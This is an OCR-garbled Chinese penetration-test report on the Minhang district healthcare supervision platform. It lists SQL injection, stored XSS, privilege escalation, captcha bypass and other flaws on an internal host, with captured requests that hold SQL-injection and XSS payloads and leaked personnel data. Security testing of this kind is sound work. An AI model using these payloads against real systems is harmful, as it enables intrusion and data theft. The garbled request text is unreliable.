闵行区医疗卫生监管平台系统系统渗透测试结果

闵行区医疗卫生监管平台系统系统渗透测试结果测试单位:上海市网络技术综合应用研究所网址:2:8090/hcms/index.html#/login环境:内网首次测试时间:首次测试人员信息:2021/05/20正1君号/wujunting@复测时间:复测人员信息:无无测试账户&密码:

无ELI结果统计漏洞描述危害等级建议修复修复进度SQL注入高必须修复未修复存储型XSS高必须修复未修复垂直越权高必须修复未修复图形验证码绕过中未修复用户密码未在前端hash低未修复系统类型与版本信息泄漏低未修复账户登录错误提木未模糊处理低未修复错误信息包含详细描述低未修复F.L2漏洞详情漏洞页面:2:8090/hcms/*.jsonRequest?start=0&limit=25测试过程:使用sqlmap进行注入测试,成功获取系统敏感信息,说明存在SQL注入漏洞。SendCancelTarget:2:8090RequestResponsePrettyRawActionsvPrettyRaw；d\nActionsvSAccept:♦>Origin：https://10.96.40.12:8090Sec-Fetcb-Site：swre-originSec-Fetch-Mode:corsKS«c-Fetcb-Dest:e«ptyReferer:https://10.96.40.12:8090/hcns/nasage.btml14Accept*Encodiat：szip.deflate■Accept-Langvage：zb-CKzb;q=0.9.Cookie:JSESSI0NIl>=D"9-D6D.A9711CA".?F898E9S5E.：E97O95;S888=888$Moto/(kfault.jpgIS{.

•serviceld*:^platfora.persoinelS^rvice*,

*®ethod*:"execute*.'schema*/platform,reg.scheoas.SYS-Persoaner.

•end[-nd”.1HTTP/1.1200OKSendCancelTarget:2:8090RequestResponsePrettyRawActionsvPrettyRaw；d\nActionsvSAccept:♦>Origin：https://10.96.40.12:8090Sec-Fetcb-Site：swre-originSec-Fetch-Mode:corsKS«c-Fetcb-Dest:e«ptyReferer:https://10.96.40.12:8090/hcns/nasage.btml14Accept*Encodiat：szip.deflate■Accept-Langvage：zb-CKzb;q=0.9.Cookie:JSESSI0NIl>=D"9-D6D.A9711CA".?F898E9S5E.：E97O95;S888=888$Moto/(kfault.jpgIS{.

•serviceld*:^platfora.persoinelS^rvice*,

*®ethod*:"execute*.'schema*/platform,reg.scheoas.SYS-Persoaner.

•end[-nd”.1HTTP/1.1200OKServer:Ajxache-Coyote/l.1

Vary：Accept-Encoding4Coateat-Iype:application/json;charset=utf-8ConteBt-lcogtb:786Date:Thu.20Mar202106:37:55(MT.Connection:close9{*bodyw:(J・

•totaiCount*:0,

"pateNo*:1,

"pageSize*：25.

•code*:200,

"nst*:*Succe»«-•=一NSPECTOR"orsAnizCod*"w12011,and*I*=,T

}].•logoffSendCancelRequestResponsePrettyRawActionsv9101112131415161718\nAccept：*/*Origin:https://10.96.40.12:8090Sec-Fetch-Site:same-originSec-Fetch-Mode：PrettyRawRenderActionsvcorsSec-Fetch-Dest：emptyReferer:https://10.96.40.12:8090/hcms/manage.htmlAccept-Encoding:gzip,deflateAccept-Language:zh_CN,zh:q=0.9Cookie:JSESSI0NID=D797D6DA9711CA72F898E955E2E97095:8888=88886photo/default.jpg"serviceld":"platform,personnelservice”,~method":"execute","schema"："platform,reg.schemas.SYS_Personnel”,

*cnd":[~and”,eq,[了"，"organizCode"

],s,”12011'and'l'=T

]],"logoff””1

]]],r\o1r.HTTP/1.1200OKServer：Apache-Coyote/1.1Vary:Accept-EncodingContent-Type:application/json：charset=utf-8Content-Length:3838Date：Thu,20May202106:39:14GMTConnection：close8("body*:["cardtype'null,

"remark":null,

"educationbackground_text~:null,

~personName”：~虹桥”，

"，jobpost*:null,

"narcoticright”:"。”，

~cardtype_textw：null,

~majortype_text*:null,

"personld”：*12011",

Render":””，

"psychotropicright”:甘，

"organizCode_text":"虹桥”，

"educationbackground”：null,

"zybh”:null,

"iscancel”:。，

"majorjob'null,

"expertcost"：null,

"hometown*：null,

~joininwork”:null,

"gpRole^rnull,

~education_text":null,

~organizCode~:"12011",

"email”:null,

wgh*ri2oir,

"majorjob_text*:null,

"lastModifyDate”:"2019-08-20”,

"logoffW,

"mobile*：null,漏洞级别:漏洞危害:攻击者可以通过SQL注入直接获取数据库访问权限,造成用户信息泄漏,正常业务不可

用。修复方案:使用参数化查询,并且对用户输入的特殊字符（'％#-；）进行过滤。修复进度:

未修复

F.1.2.2存储型XSS漏洞页面:2:8090/hcms/*.jsonRequest?start=0&limit=25测试过程:通过输入特殊字符测试,确认存在XSS注入。InterceptHTTPhistoryWeb^ocketshistoryOptionsRequestResponseRaw\nActionsvPOST/hems/*.jsonRequest?start=0ftlimit-25HTTP/L1Host:10.96.40.12:8090:Coinection:close:Coitent-LeogTh:223

Mozilla/5.0(VindcmNT10.0;tin6<：x64)AppleWebKit/537.3<

rRequestResponseRaw\nActionsvPOST/hems/*.jsonRequest?start=0ftlimit-25HTTP/L1Host:10.96.40.12:8090:Coinection:close:Coitent-LeogTh:223

Mozilla/5.0(VindcmNT10.0;tin6<：x64)AppleWebKit/537.3<

rX-Requested-With:XMLHttpReauest.Coitent-Type：application/jsonAccept：*/•9Origin：https://10.9ft.40.12:809011Sec-Fetch-Site:saM-origia11Sec-Fetch-Mode:cors1：Sec-Fexch-Dest:emptyKReferex:https://10.96.40.12：&09O/b<ajs/aanA8«.btnl14Acccpt'Encodios：gzip.deflateLAccept-Language:zh-CN.zh:qz0.9MCookie：JSBSSICWID«D79T)6DA97nCA-：F89SE955E?E9rO95;8888-8888<photo/4e1IT18{:*sin»pl«<hxry*,Method*:'execute*.*scheaa"："hc».app.ooduleMaiataia.sebenas.SVS-MMXJLE^BAKL

\nd[—PrettyRaw \nActionsv1HTTP/1.1200OK!Server:Apache-Coyote/1.13Vary:Accept-Encodint；ContentType:application/jsoa:charset=utf-8jConteat-Length：4086Date：Thu.20Ma-202106:41:29(Ml

Conoectioo：close9(“bod函(*STATUS_text*:^Wl\

卞戏T：・|g传填报(新广."DTMID-ARIT:■12.2匚 "REMARKS":"。itgsrc=xcnclick=aleTt(1)^.

•IDW,*STATUr：*2*.-DlMlDJ^RILtext*:,业务时间.\

.coomns*PrettyINSPECTORXQueiyParameters(2)yRequestCookies(2)VRequestHeaders(15)yResponseHeaders(6)V•STATUS*1•STATUS.twt*:*fl»r.*DLMlDjkRr：null#

■RfMARKSm"STATUS*rz*.FilterHidingCSS.imageandgeneralbinjfycontent*y2277Hasthttp$//10.%40128090http$//10.%40128090MethodGETURLParamsEditedStatus404Length1154MIMEtypeHTMLExtensionTideApacheTom<at/7.0.79...CommentILS

JIP1096.40122272https://10.%40128090K)ST/hems/*i$onRcqu^$t?$tart-08flimit.J200600JSONd10.96.40122270httpsy/2:8090POST/hcms/*^sonRequestJ200231JSONy22269http$://content-MJtofill.googUGET/Wpage$/Chc2ljEuMTcxNS4xNDQ...yyunknownhost2268https://contentautofill.googlGET/V1/page$/Chc2ljEuMTcxNS4xNDQ..yjunknownhost2263https:〃2:8090GET/hems/hemsdieDimTreeWithoutLa.../26S2JSONdie✓1096.40.122262httpsy/2:8090GET/hcms/hcms.dic.DimTreeWithoutLa.^/1066JSONdky22261http$://10.96.4012:8090GET/hcms/hcm$.dicDimTreeWithoutlaJ795JSONdiey10,96.40.122260https://l0.96.4012:8090POST/hcms/^sonRequest✓249JSON✓222S9http$7/10.96.40128090GET/hem$/ub1.widgets.TreeChe<kfieId17297scriptjscJ222S8http$y/10.96.4012:8090GET/hcms/util.dictiofUfy.Tro^ChockDic...1945scriptjsc22257httpsy/2:8090GET/hcm5/hcm$.dic.Status.dic?src=hcm...J612JSONdie✓22256https://l0.96.4012:8090GET/hcms/hcms^pp.moduleMaintain.s-10594scriptjscy2LJ人浏岫剧FT闵行公立医疗机2:8090显示望员填报管理展示页面I设置I退出配置管理系统管理系统管理流程管理。新建(F1)/修改(F2)?维护业务类型(F3)谖启用(F4)W禁用(F5)。删除(F6)LJ人浏岫剧FT闵行公立医疗机2:8090显示望员填报管理展示页面I设置I退出配置管理系统管理系统管理流程管理。新建(F1)/修改(F2)?维护业务类型(F3)谖启用(F4)W禁用(F5)。删除(F6)►参数设置►字典配置►通用字典设置模块名称模块酮描述状态1综管填报(新)QMYS启用业务时间，2公立医疗管理平台HCMS启用指标中心►指标关联►指标查阅►计►成导航►指标应用►标化值维护►年度指标目录模块维护►勰图里日志查看►日志查看►日志分析收藏夹►添加收藏夹漏洞级别:D管理页面<-->CA不安全|2iWj 漏洞危害:攻击者可以构造恶意的js代码,从而对正常用户进行cookie劫持、钓鱼攻击、XSS蠕虫攻

十华LL4寸o修复方案:对用户的输入与输出进行过滤或者html实体转义。修复进度:未修复F.L2.3垂直越权漏洞页面:2:8090/hcms/*.jsonRequest?start=0&limit=25测试过程:使用低权限用户请求高权限用户接口,可以请求成功。公nsrr机构■■平❶«- ►CA不安全公nsrr机构■■平❶£医甘中gft首页jrogjWtHCMSfwQ~]EhnwntsComoleSourcesNetworkPerformanceMemoryApplicatioaSecuritylighthouv«AppHUon.ManifestQServiceWorkers■Gearstorage▲CFihe<NmAppHUon.ManifestQServiceWorkers■Gearstorage▲CFihe<Nm▼EslocalStorageSihttpsy/10.9640.12^090,31S<sMnSlorAQeNameVMuwDomainPMhExpires/...SizeHttpOnlySecureS«rneS<tePriorityygp02助S33B%u7BA1%u4F2D%u5FC302@phoBdMadtjpg10.9640.12/hems2""..SOMediumIJSLSSfONID2F26291843ID7B^322336G)68695F5D2AonsSession42/Medium)Onlyshowcookies心thanissue2F26291843FD7a6J22336CO6B69SFSD2SendTarget:httpW/2:8090Q(JRequestPrettyRawActionsvPrettyRawActions7POST/hens/*.jsonRequest?start=0ftlimit=25HTTP/1.1Host:10.96.40.12:8090Coenectioo:close:Coctent-Leagth:243UserAgentMozilla/5.0(BmdovsNT10.0：Iin64;x64)AppleUebKit/537.36'KHTML.likeGecko)Chro

‘X-IUqu«5ted-Iith：IMLHttplUquest'Coetect-Ttpe:application/jsonAccept：中/SendTarget:httpW/2:8090Q(JRequestPrettyRawActionsvPrettyRawActions7POST/hens/*.jsonRequest?start=0ftlimit=25HTTP/1.1Host:10.96.40.12:8090Coenectioo:close:Coctent-Leagth:243UserAgentMozilla/5.0(BmdovsNT10.0：Iin64;x64)AppleUebKit/537.36'KHTML.likeGecko)Chro

‘X-IUqu«5ted-Iith：IMLHttplUquest'Coetect-Ttpe:application/jsonAccept：中/•'Origin：https://10.96.40.12:8090liSec-Fetch-Site:saae-origiaSec"Fetch-ModecorsSec-Fetch-Dest：empty:Referer:bttps://10.96.40.12:8090/hcas/»aftage.btn!.lAccepl*Encodi&s：uip.deflate.Accept-Language:zhCKzh；Q=0.9Cookie:JS£SS10NlD-2KJc291S-13FU7Bt322J36C06B69oF'aD：KTTP/1.1200OKServer：Apacbe-Coyote/1.1Vary：Acctpl-Eacoding:Coctent-Tvpe:applicaxioD/jsoa;charset=utf-8

Cootent-Lensth:3&38Date：Thu.20Mny202106:54:20CMT

Coon«tion：close*body"：f-NSPECTOR18{

*s«rvictld*:'platfora,personae1Service*.

*aeThod*:"execute*.*schema•:-p1atform.reg.schemas.S^Persoanel*.

-nd[W,^organizCodc**J.s,•1201Vand'I*='1

]•logoff*

].•cardtype*：null.

•reiiark":null,

^educationbackground.text^rnull.

'personNaae*:"虹桥二

*jobpoat-:null,

"narcoticritht*:*0*.•cardtype.text*:null.：tm几

•personld*:*120ir.

-sez>der*："l*.

•pcrchotropxcritht*"0*.

*or^nizCode_text*:■虹怖L

•educationbackground*:null.

•zybh":iull.*iscancel*:0,

"majorjob^znull.

>xpertcost*，：nulL*joiainwork'，:null.

•gpRole*:null,

*e(h>cation_text*:null.

•organitCode*:*12011*.^majorjob.text":null.

"lastModifyDate*-2019-06-20*.

•lotofrrr."mobile•:mill.*jobpost.text*：Dull.Response漏洞级别:高漏洞危害:存在越权,且造成攻击者可以获取用户信息,或执行其他非法权限操作。修复方案:对所有用户功能基于session_id判断用户权限。修复进度:未修复F.L2.4图形验证码绕过漏洞页面:2:8090/hcms/logon/myRoleslnfo测试过程:在包箜箜证码的页面,截取用户截取图形验证码的请求,可以进行重放绕过。Filter:HidingCSS.imageandgeneralbinarycontenttVHostMethodURlParamsEditedStatuslengthMIMEtypeExtensionTitleCommentTLSIP2006httpsy/10.%.40.12:8090POST/hcm$/logorVmyRole$lnfoJ200866JSON✓22005httpsy/10%.40.12:8090POSTZhcms/resultServlet/checkValidateC...✓200180JSON1096.40.122004https://1056.4012:8090POST/hcms/logorVmyRolesInfo✓200866JSONV22003httpsy/10.%.40.12:8090POST/hcms/resultServlet/checkValidateC...y200180JSONy22002http$//10.964012:8090ROST/hcmi/logorVmyRoletlnfo200228JSONy22001https://10.96.4012:8090POST/hcm$/re$ultSeivlet/checkValidateC...✓200180JSONy1096.40.122000POST/service/update2/json?cup2key=10...unknownhost1999httpsy/updato.googleapisxofnPOST/sorviceAjpddto2/]$on?cup2key•10...junknownhost1998httpsy/content-autofill.googL.GET/v1/pages/Ch<2LjEuMTcxNS4xNDQ..junknownhost1988httpsy/2:8090GET/hcms/app/distnbute/html/cockpit...20020539HTMLhtmly21987http$y/10.96.4012:8090GET/hcms/app/distribute/html/ssodistri...200288HTMLhtmly1096.40.121986httpsy/10.96.4012:8090GET/hcms/app/distribute/html/configd..200274HTMLhtml✓21985http$7/10.%.40.12:8090GET/hcms/app/distribute/html/analysis^..200300HTMLhtml2Request■■ResponseINSPECTOR©X1Raw\nActionsvJRawRen \nActionsvRequestCookies(1)VPOST/hcms/logoo/nryRolesInfoHTIP/1.17Connection:closeHost:10.96.40.12:80908RequestHeaders(14)V3Coanection:close9{4Coitent-Leagth:29*body*:{ResponseHeaders(6)VUs«r-At«ntMozilla/5.0<<indo«sNT100;VinM:x64)AppleW^bKit/53736•userPhoto*:*photo/default.jpg*.6coatent-type:text/plain*tokens*:[Accept:*/♦(SOrigin:https://10.96.40.12:80909Sec-Fetch-Site:sase-origia"userid*:*8888".ItSec-Fetch-Modecoxs*rol«Id*:*hcas.systMi*v11Sec-Fetch-Dest:empty^manageOaitld*:*310\12Referer:bttps://10.96.40.12:8090/bcns/index,html"organld*:*hcms.310*.1Accept*Encodins:ssip.deflate"dooain*:*hcB3w.14Accept-Lanfuage:zh-CXzh:Q=0.9•logoff:*0\1Cookie:JSISS10NID=D"9-D6D.^9711CA"2F898E955E2E9rO95•displayNnme-rNlJK-M统付理IT,16•role*:{17(*id*:*hcms.systen*.•uid-:*8S88\统竹HJIT.

漏洞级别:中漏洞危害:错误的图形验证码验证机制,将图形验证码人机校验机制失效,从而导致暴力破解,接口

重放等问题。 修复方案:判断SessionlD为空的情况；在图形验证码被校验后,无论结果是否正确,服务器端强制

刷新SessionlD对应的图形验证码；图形验证码校验应与操作数据校验同时进行,不可以

分步校验。 修复进度:未修复F.L2.5用户密码未在前端hash漏洞页面:全站测试过程:在用户登陆请求数据包中,查看密码字段,该字段未做hashoI®HostMethodURLParamsEditedStatusLengthMIMEtypeExtension1257http7/updPOST/service/update2^son?cup2key-10-.12S6I®HostMethodURLParamsEditedStatusLengthMIMEtypeExtension1257http7/updPOST/service/update2^son?cup2key-10-.12S6POSTAerviceAjpddte2^$on?cup2key*10«y1255https://10.96.4012:8090POST/hcms/1ogoiVmyRole$lnfo233JSON1254http$://l0.96.40.l2:8090POST/hem$/re$ultServlet/checkValidateC..✓179HTML1252https:〃2:8090POST/hcms/logoiVmyRoleslnfo233JSON1251https://10.96.4012:8090POST/hcms/resultS^rvkt/cbeckValidatpC../179HTML1250https:〃2:8090POST/hems/resultServlet/checkValidateC...y179HTML1249http$://2:8090POST/bem$/logon/»nyRole$lnfo✓233JSON1248https:〃10.96.4012:8090POST/hcms/logon/myRoleslnfo233JSON1247http$://lO.96.4O12:8O9OPOST/bems/resultServlet/checkValidateC...179HTML1246http$://contentautofill.googl..GET/Vl/page$/Chc2Lj£uMTcxNS4xNDQ...✓1236http$://2:8090GET/hcms/app/distribute/html/cockpit-.20020539HTMLhtml1235https:〃2:8090GET/hcms/dpp/distnbute/html/s5O.distri.M200288HTMLhtmlFilterHidingCSS,imageandgeneralbinarycontentTitleCommentTLS IPunknownhostJ unknownhostJ 10.96.401?J27 2J10.96.4012J27 2J10.96.40127 2JunknownhostJ27 2RequestResponsePrettyRaw\nActionsvPretty\nActionsPOST/hems/logofl/nyRo1esInfoHTTP/1.1Host：10.96.40.12:8090CoBsvction:closeCoBtent-lengtb:27User-Agent:Mozilla/5.0(WindowsNT10.0;tinM：x64)AppleIebKit/537.36content-type：text/plainAccept：*/•Oritin：htt^V/lO.96.40.12:80909 Sec-Fetch-Site: sane-origiQSec-Fetch-Node: corsSec-Fetch-Dest: enptyReferer:https://10.96.40. 12：8090/hcms/index,htnlAccept-Encoding:izip.deflateAccept*language:zk-CN.zh;q=O.9Cookie:JSESSICWID«AEClB6Dro3BD3E382rArr9FlD8DlC2MHTTP/1.1200CKServer:Apache-Coyote/1.1VaryAcc«pt**Encoding4Cooteot-Type:applicatioo/json:ckar$et=utf-8>Content-Lentth:42Date:Thu.20Mar202106:00:10OCTConnection:close9{"code":404."nsg*:*user[test]notfound.*C■■INSPECTOR OxRequestCookies(1) yRequestHeddtrt(14) vResponseHeaders(6) v漏洞级别:低漏洞危害:用户密码为用户个人敏感信息,采用明文传输,将导致用户密码被日志记录,或者在未使

用https情况下被局域网用户嗅探,从而导致用户个人敏感信息泄漏。修复方案:对用户密码字段进行加盐的md5或者sha256的信息摘要计算。修复进度:未修复

F.L2.6系统类型与版本信息泄漏漏洞页面:全站测试过程:查看返回数据包头部,泄漏了系统版本与类型信息。«5HostMethodURLPatdmsEditedStatusLengthMIMEtypeExtensionTideCommentTLS«5HostMethodURLPatdmsEditedStatusLengthMIMEtypeExtensionTideCommentTLSIP1257httpy/update.ROST/service/update2^son?cup2key*10...✓unknownhost1256https//updatePOST/se(vice/update2/Json?cup2key»10/unknownhost2:8090POST/hcms/logon/myRoleslnfoy200233JSON21254https〃2:8090POST/hcms/resultServlet/cbeckVdlidateC.../5001/9HTML✓10.96.401212522:8090POST/hcms/logon/myRolesInfo4200233JSON/10.9640121251httpsy/2:8090POST/hcms/resultServlet/checkValidateC.../500179HTML/21250httpsy/2:8090POST/hems/resultServlet/checkVdlidateC.../500179HTML/10.9640.121249httpsy/l2:8090POST/hcms/logon/myRolesInfo/200233JSON/10.9640.121248http$y/2:8090POST/hcms/logon/myRolesInfoy200233JSON/21247http%y/2:8090POST/hcm$/re%ultServlet/checkValiddteC.MSOO179HTML✓21246httpsV/content-autofill.googl...GET/v1/pa9es/Chc2ljEuMTcxNS4xNDQ...unknownhost1236httpsy/2:8090GET/hcms/app/distribute/html/cockpit...20020539HTMLhtml✓21235http$y/2^090GET/hcm$/>pp/distnbute/html/s$o.di$tn...200288HTMLhtml✓2FilterHidingC$$.imageandgeneralbinarycontentRequestResponseINSPECTORRaw\nActionsvIPOST/bcms/loson/ayRolesIofoHTTP/1.1

Host：10.96.40.12:8090Coonection:closeCocteat-Leagth：27U^r-Aient:Mozilla/5.0(TindorsNT10.0;Tin64;x64)AppleWeUit/537.36

-cootent-type：text/plainAccept：*/•Orxgia：hxtj>s://10.96.40.12:8090-•Sec-Fetch-Sit«：sase-originSec-Fetch-Mcxie：corsSec-Feteh-Desx:ewpty…Referer:https://10.96.40.12：8090/hcns/index.htalAcccpt-Encodint：gzip.deflateAccept-Language:zh-€Kzh:q-0.91-Cookie：JSISS1ONID=AEC1B6DFD3ED3E3S27A"79F1D8D1C264PrettyPrettyRaw \nActionsvIHTTP/1.1200OK'Server:Apache-Coyot«/1.IVary:Accept-EncodingContent-Type:ai>plicatioo/json;c!ursetsutf-8Conteot-Lentth:42Date：Ihu.20May202106:00:10GMTConnectioo：close8{*c<x!e*:4O4.*msg*/user[test]notfouwl*RequestCookies⑴RequestHeaders(14)5/ResponseHeaders(6)V漏洞级别:低漏洞危害:攻击者可以利用该信息作为参考,查找到针对该系统有效的payload。修复方案:配置服务器不返回系统类型与版本信息。修复进度:未修复F.127账户登录错误提示未模糊处理漏洞页面:2:8090/hcms/logon/myRoleslnfo测试过程:输入错误的账户名判断返回〃用户名错误〃,输入正确的账户名错误的密码,显示〃密码错

误〃。•yHostMethodURLParamsEditedStatuslengthMIMEtypeExtensionTitleCommentTISIP1257http://update,POSTAervice/update2^son?cup2key-10.~unknownhost1256httpsV/POST/serviceAjpdate2/J$on?cup2key=10...yJunknownhost1255https7/10.96.4012^090POST/hcm$/1ogon/myRoleslnfo200233JSON10.96.40121254http$y/10.%.4012:8090POST/hcms/resultServlet/checkValidateC...SOO179HTML✓10.96.40」21252httpsy/10.96.4012:8090POST/hems/logon/myRoHnfo/200233JSON✓10.96,40.1212S1http$y/2:8090POST/hcms/resultServlet/checkValidateC.^J500179HTMLJ21250http$y/2A090POST/hem$/re$ult$e(vlet/checkValidateC...500179HTMLJ21249http$7/10.96.4012:8090POST/hcms/logon/myRolesInfo✓200233/SON✓21248https7/10.96.4012:8090POST/hcm$/1ogon/myRolesinfoy200233JSON21247http$V/2:8090POST/hcms/resultServlet/checkValidateC...SOO179HTML21246httpsy/cont^nt-jutofill.googl.GET/v1/pageVChc2LjEuMTcxNS4xNDQ...✓unknownhost1236httpsy/2^090GET/hcms/app/distribute/html/cockpiL-20020539HTMLhtmlJ21235http$y/10.%.40J2^090GET/hcm$/app/di5tribute/html/$$o.di$tn...200288HTMLhtml2RequestResponseINSPECTOR(?)XPrettyRaw\nActionsvPrettyRawKer\nActionsvRequestCookies(1)RequestResponseINSPECTOR(?)XPrettyRaw\nActionsvPrettyRawKer\nActionsvRequestCookies(1)HTTP/1.1200OKS«rr«r：Apacbe-Coyot«/1.1VaryAccept-EncodingHTTP/1.1200OKS«rr«r：Apacbe-Coyot«/1.1VaryAcc